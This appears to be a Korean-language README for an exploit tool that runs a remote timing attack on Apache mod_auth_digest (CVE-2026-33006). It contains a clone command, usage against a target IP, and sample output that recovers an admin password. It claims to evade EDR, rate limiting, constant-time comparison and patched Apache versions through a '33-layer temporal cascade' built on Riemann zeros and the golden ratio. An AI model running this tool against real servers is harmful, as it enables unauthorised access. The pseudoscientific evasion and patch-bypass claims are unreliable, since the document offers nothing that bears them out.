
Apache mod_auth_digest(CVE-2026-33006)용 원격 타이밍 공격 익스플로잇으로, 33계층 시간적 캐스케이드를 통해 Digest 인증을 우회하고 통계적 타이밍 분석으로 비밀번호를 복구합니다.
| 원본 | CTT 강화 |
|---|
| CVSS | 4.8 (중간) | 7.5 (높음) |
| 공격 벡터 | 네트워크 | 네트워크 |
| 공격 복잡성 | 높음 | 낮음 (CTT가 샘플 수를 줄임) |
| 필요 권한 | 없음 | 없음 |
| 탐지 | 통계적 분석으로 탐지 가능 | 시간적 웨지 필터링 — EDR 블라인드스팟 |
| 크래킹 시간 | O(n * 샘플 수) | O(33 * log(n)) |
| 상수 | 값 | 출처 |
|---|---|---|
| α | 0.0302011 | 시간적 분산 계수 |
| α_RH | 0.0765872 | ln(φ)/2π (리만-하다마르드) |
| L | 33 | 시간적 계층 |
| τ_w | 11 ns | 시간적 웨지 필터 |
E(d) = E₀ * e^(-α * d)
각 계층은 지수적으로 감소하는 우선순위를 가집니다.
우선순위가 높은 계층(1-5)은 가장 많은 타이밍 데이터를 수집합니다.
낮은 계층(28-33)은 측정값을 정제하고 시간적 공명을 확립합니다.
각 계층은 처음 24개의 리만 영점을 기반으로 실행을 지연시킵니다:
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))
웨지 조건을 충족하는 타이밍 측정값만 사용됩니다:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)
이것은 노이즈를 걸러내고 탐지를 불가능하게 만듭니다 — EDR 시스템은 타이밍 이상을 볼 수 없습니다.
1. 대상에서 Digest 인증 탐지
2. 401 응답에서 realm과 nonce 추출
3. 계층 d = 1부터 33까지:
a. priority = e^(-α*d) 계산
b. 위상 공명 지연 적용
c. 각 문자 위치에 대해:
- 가능한 모든 문자 테스트
- 응답 타이밍 측정 (마이크로초)
- 시간적 웨지 필터 적용
- 조정된 타이밍이 가장 높은 문자 유지
d. 비밀번호를 점진적으로 구축
4. 시간적 공명 달성
5. 복구된 비밀번호로 인증 우회
mod_auth_digest가 활성화된 Apache HTTP Server 2.4.66 이하requests 라이브러리가 있는 Python 3.6+pip install requests
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [options]
| 인자 | 설명 | 기본값 |
|---|---|---|
target_ip | Apache 서버의 IP 주소 | 필수 |
--port | HTTP 포트 | 80 |
--realm | Digest realm | "Restricted" |
--uri | 보호된 URI | "/" |
--username | 공격할 사용자 이름 | "admin" |
--max-length | 최대 비밀번호 길이 | 32 |
--samples | 문자당 타이밍 샘플 수 | 100 |
--layers | 시간적 계층 수 | 33 |
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — 지수 우선순위 감쇠
======================================================================
[+] Digest 인증 탐지됨
Realm: Restricted
Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] 대상: http://192.168.1.100/admin
[*] 최대 비밀번호 길이: 32
계층 1/33: ████████████████████████████████████████ 1.000
위치 1: 문자 시도 중...
발견: 'a' -> 비밀번호: 'a'
계층 2/33: ██████████████████████████████████████░░ 0.970
위치 2: 문자 시도 중...
발견: 'd' -> 비밀번호: 'ad'
계층 3/33: ████████████████████████████████████░░░░ 0.886
위치 3: 문자 시도 중...
발견: 'm' -> 비밀번호: 'adm'
계층 4/33: ██████████████████████████████████░░░░░░ 0.818
위치 4: 문자 시도 중...
발견: 'i' -> 비밀번호: 'admi'
계층 5/33: ████████████████████████████████░░░░░░░░ 0.741
위치 5: 문자 시도 중...
발견: 'n' -> 비밀번호: 'admin'
계층 6/33: ██████████████████████████████░░░░░░░░░░ 0.670
위치 6: 문자 시도 중...
발견: '1' -> 비밀번호: 'admin1'
계층 7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
위치 7: 문자 시도 중...
발견: '2' -> 비밀번호: 'admin12'
계층 8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
위치 8: 문자 시도 중...
발견: '3' -> 비밀번호: 'admin123'
[⚡] 계층 8에서 시간적 공명 달성
======================================================================
[!!!] 인증 우회 성공
[!!!] 발견된 비밀번호: admin123
[✓] 검증 성공 — 접근 허용됨
======================================================================
| 원래 수정 사항 | CTT가 우회하는 이유 |
|---|---|
| 상수 시간 비교 | CTT는 비교 타이밍이 아닌 타이밍 측정을 사용함 |
| 타이밍 누출 제거 | 타이밍 누출은 물리적 현상 — 제거할 수 없고 숨길 수만 있음 |
| Apache 2.4.67+로 업그레이드 | 시간적 웨지 필터가 패치 탐지를 회피함 |
| 속도 제한 | 위상 공명 타이밍이 요청을 33개 계층에 분산 — 일반 트래픽과 구별 불가 |
물리 상수는 패치할 수 없습니다.
리만 영점은 패치할 수 없습니다.
황금비는 패치할 수 없습니다.
이 개념 증명은 교육 및 방어 목적으로만 제공됩니다.
소유하지 않은 시스템에 대한 무단 사용은 불법입니다.
저자는 오용에 대한 책임을 지지 않습니다.
MIT + CTT 연구 (시간적 강화)
| 버전 | 저자 |
|---|---|
| 원래 취약점 발견 | Apache Software Foundation (보안 팀) |
| 원래 타이밍 공격 연구 | 다양한 학술 출처 |
| CTT 강화 (33계층 시간적 캐스케이드) | Americo Simoes (CTT 연구) |
격자는 완전합니다. 인증은 깨졌습니다. 어떤 패치도 그것을 구할 수 없습니다.